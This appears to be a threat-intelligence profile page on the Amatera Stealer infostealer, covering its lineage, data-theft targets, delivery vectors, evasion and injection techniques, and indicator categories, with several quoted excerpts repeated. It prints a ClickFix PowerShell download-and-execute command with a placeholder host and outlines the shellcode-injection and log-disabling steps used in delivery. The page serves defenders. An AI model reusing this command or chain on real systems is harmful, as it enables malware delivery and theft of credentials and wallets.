Amatera Stealer is a Windows-focused malware-as-a-service infostealer and a rebranded, actively developed successor to ACR Stealer, also linked in reporting to AcridRain and GrMsk lineage. It is written in C++ and is designed to harvest sensitive data from infected systems, including browser-stored credentials and data, session material, cryptocurrency wallets and wallet extensions, browser extensions, messaging and email applications, password managers, SSH and FTP tools, and selected local files. More recent reporting indicates expanded collection from numerous browsers and wallet targets, Discord and Signal data, and file-grabber logic aimed at wallet exports, seed phrases, private keys, passwords, and other sensitive documents.
Amatera has been distributed through multiple commodity and higher-volume criminal delivery ecosystems. Observed infection vectors include ClickFix-style social engineering with fake CAPTCHA or verification prompts that trick users into pasting and executing commands, ClearFake web inject chains on compromised websites, fake software and cracked-software downloads, malicious game or mod installers, fake developer documentation and installation guides, malvertising, and loader-based delivery through families such as RenPy Loader, GoFlateLoader, CountLoader, and other multi-stage chains abusing trusted Windows components such as MSHTA and App-V scripting. It has also been observed in campaigns targeting developers through fake Claude Code installation pages and in enterprise-oriented chains that depend on App-V availability.
The malware emphasizes stealth and evasion. Reported variants use direct or low-level networking approaches, including NTSockets communication via native Windows socket interfaces, and syscall-based execution techniques such as WoW64 syscall usage and RecycledGate or FreshyCalls-style resolution to reduce visibility to user-mode monitoring and endpoint defenses. Anti-analysis features include sandbox and debugger checks, environment validation, geofencing logic, and other heuristics intended to avoid execution in research or protected environments. Some delivery chains and loaders associated with Amatera also rely on in-memory execution, reflective loading, shellcode injection, and staged decryption to minimize disk artifacts.
Amatera communicates with command-and-control infrastructure to retrieve configuration and can receive instructions to download and execute additional payloads, making it useful as both a data-theft platform and a post-compromise enabler. Reported chains show support for executing secondary payloads and using process injection or shellcode-based launch methods. The malware has been associated with criminal operators and MaaS activity, including sales attributed to the actor SheldIO, and has been positioned in underground markets as an alternative or successor to other popular stealers. Victimology is broad and opportunistic, with observed campaigns affecting sectors including finance and targeting both general users and higher-value developer or enterprise environments.
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1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
In late April 2026, eSentire's Threat Response Unit (TRU) intercepted an attempted delivery of Amatera Stealer within a customer environment in the Finance industry. Amatera Stealer is a rebranded version of ACR (AcridRain) Stealer, a C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access Drive-by Compromise; User Execution ClickFix lure prompts command execution.
This command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe.
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Another interesting feature that was not previously documented relative to this malware is its use of WoW64 Syscalls... this sample defines various functions that stage a Windows API to be resolved and executed dynamically. | The code used to initialize contact with the C2 at this stage leverages NTSockets by interfacing with the device “\\Device\\Afd\\Endpoint” directly, rather than using the Winsock library.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
The .csproj file contained obfuscated logic that reconstructs and runs another layer of Base64-encoded PowerShell... This third PowerShell script is again heavily obfuscated and uses XOR encoding.
Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts... it uses a renamed MSHTA copy disguised as iso2022.exe
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.
The script first disables PowerShell logging and suppresses output by setting all preference variables (such as ErrorActionPreference, VerbosePreference, etc.) to SilentlyContinue and overriding built-in functions like Write-Host.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
Reads the config data/.GEg and decrypts it using Base64 decoding and XOR... XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP... During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.
It can target passwords and other data stored in browsers... Stolen credentials and session data may also allow attackers to access the victim’s online accounts.
The malware initiates contact with its configured command and control (C2) server via HTTP shortly after execution... Samples of Amatera Stealer observed in May 2025 contain code which suggests new support for HTTPS requests.
187 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
50 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An infostealer that steals passwords, browser data, cryptocurrency wallet data, browser extension data, messaging app data, and local files; stolen credentials and session data can enable account compromise.
An infostealer that targets passwords and other sensitive data from browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. It can also steal credentials and session data that enable account access.
Stealer malware distributed via fake Google and Cloudflare verification pages in the ClickFix campaign.
Infostealer delivered by the campaign; associated C2 infrastructure is listed in the report.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.